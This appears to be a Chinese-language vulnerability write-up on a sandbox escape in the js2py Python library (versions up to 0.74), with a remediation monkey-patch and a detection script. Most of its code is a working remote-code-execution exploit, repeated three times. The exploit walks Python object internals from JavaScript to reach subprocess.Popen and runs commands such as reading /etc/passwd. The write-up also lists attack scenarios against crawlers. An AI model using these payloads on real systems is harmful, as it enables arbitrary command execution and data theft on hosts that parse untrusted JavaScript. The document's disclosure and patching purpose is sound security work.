js2py 沙盒逃逸漏洞分析与利用

3 阅读3分钟

js2py 沙盒逃逸漏洞分析与利用

项目描述

js2py 是一个广泛使用的 Python 库,能够在 Python 原生环境中解析并执行 JavaScript 代码。该库常被爬虫程序用于解析网页中的 JS 代码,模拟浏览器环境。

然而,js2py 存在一个危险的沙盒逃逸漏洞。正常情况下,用户会调用 js2py.disable_pyimport() 来阻止 JS 代码导入 Python 模块,防止代码逃逸。但利用本漏洞,攻击者可以绕过这一限制,在主机上执行任意命令。

该漏洞影响 Python 3 环境下运行的 js2py(版本 ≤ 0.74),目前已影响包括 pyloadcloudscraperlightnovel-crawler 等多个知名项目。

功能特性

  • 沙盒环境执行 JS 代码:在 Python 中安全执行 JavaScript 代码
  • JS 与 Python 对象互转:支持 JavaScript 与 Python 数据类型之间的自动转换
  • 内置 JS 对象支持:提供 consoleObject 等标准内置对象
  • Python 包导入支持(危险功能):允许在 JS 中导入并使用 Python 包
  • 漏洞特性:在 Python 3 环境下,Object.getOwnPropertyNames() 返回的 dict_keys 对象会被转换为 PyObjectWrapper,导致沙盒逃逸

安装指南

受影响版本安装

# 安装受影响版本(≤0.74)
pip install js2py<=0.74

依赖要求

  • Python 3.x(不支持 Python 3.12 及以上版本)
  • six 库(自动安装)

修复方法

方法一:动态补丁

使用 fix.py 中的代码动态修复:

def monkey_patch():
    """Patching js2py for a vulnerability"""
    from js2py.constructors.jsobject import Object
    fn = Object.own["getOwnPropertyNames"]["value"].code
    def wraps(*args, **kwargs):
        result = fn(*args, **kwargs)
        return list(result)
    Object.own["getOwnPropertyNames"]["value"].code = wraps

if __name__ == "__main__":
    monkey_patch()
方法二:源码修复

修改 js2py/constructors/jsobject.py,将 getOwnPropertyNames 的返回值转为列表。

使用说明

漏洞验证

运行以下 POC 代码验证漏洞是否存在:

import js2py

payload = """
let cmd = "head -n 1 /etc/passwd"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""

result = js2py.eval_js(payload)
print(result)

利用步骤

  1. 获取 Python 对象引用:通过 Object.getOwnPropertyNames({}) 获取 PyObjectWrapper
  2. 链式属性访问:利用 __getattribute____class____base__ 获取基类对象
  3. 查找目标类:递归遍历 __subclasses__() 找到 subprocess.Popen
  4. 执行命令:调用 Popen 执行任意系统命令

攻击场景

  • 恶意网站包含恶意 JS 文件,爬虫解析时触发 RCE
  • 通过 HTTP API 发送恶意脚本供受害者解析
  • 任意可让目标解析 JS 代码的注入点

核心代码

漏洞触发核心代码

import js2py

# 核心漏洞利用:通过 Object.getOwnPropertyNames 获取 PyObjectWrapper
code = """
// 获取 Python 对象包装器
let hacked = Object.getOwnPropertyNames({})

// 获取 __getattribute__ 方法
let bymarve = hacked.__getattribute__
let n11 = bymarve("__getattribute__")

// 获取 object 基类
let obj = n11("__class__").__base__
let getattr = obj.__getattribute__

// 递归查找 subprocess.Popen
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

// 执行系统命令
let cmd = "id"
let popen = findpopen(obj)
let result = popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
"""

js2py.eval_js(code)

漏洞修复补丁代码

def monkey_patch():
    """
    动态修复 js2py 沙盒逃逸漏洞
    将 getOwnPropertyNames 的返回值从 dict_keys 转换为普通列表
    """
    from js2py.constructors.jsobject import Object
    
    # 保存原始函数
    fn = Object.own["getOwnPropertyNames"]["value"].code
    
    # 包装函数,转换返回值为列表
    def wraps(*args, **kwargs):
        result = fn(*args, **kwargs)
        return list(result)
    
    # 替换为修复后的函数
    Object.own["getOwnPropertyNames"]["value"].code = wraps


if __name__ == "__main__":
    monkey_patch()

漏洞检测代码

import js2py
from sys import version

def test_poc():
    """检测 js2py 是否存在沙盒逃逸漏洞"""
    payload = """
    let cmd = "head -n 1 /etc/passwd"
    let hacked = Object.getOwnPropertyNames({})
    let bymarve = hacked.__getattribute__
    let n11 = bymarve("__getattribute__")
    let obj = n11("__class__").__base__
    
    function findpopen(o) {
        for(let i in o.__subclasses__()) {
            let item = o.__subclasses__()[i]
            if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
                return item
            }
            if(item.__name__ != "type") {
                let result = findpopen(item)
                if(result) return result
            }
        }
    }
    
    let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
    result
    """
    
    etcpassword_piece = "root:x:0:0"
    try:
        result = repr(js2py.eval_js(payload))
        return etcpassword_piece in result
    except Exception:
        return False

def main():
    if test_poc():
        print(f"Success! the vulnerability exists for python {repr(version)}")
    else:
        print(f"Failed for python {repr(version)}")

if __name__ == "__main__":
    main()

6HFtX5dABrKlqXeO5PUv//acawL+Es8u5PfOn2rbGYenIZz1UqEs/oHmh4nq5ABgeKVGTj/LErh9/eXYHdVKbg==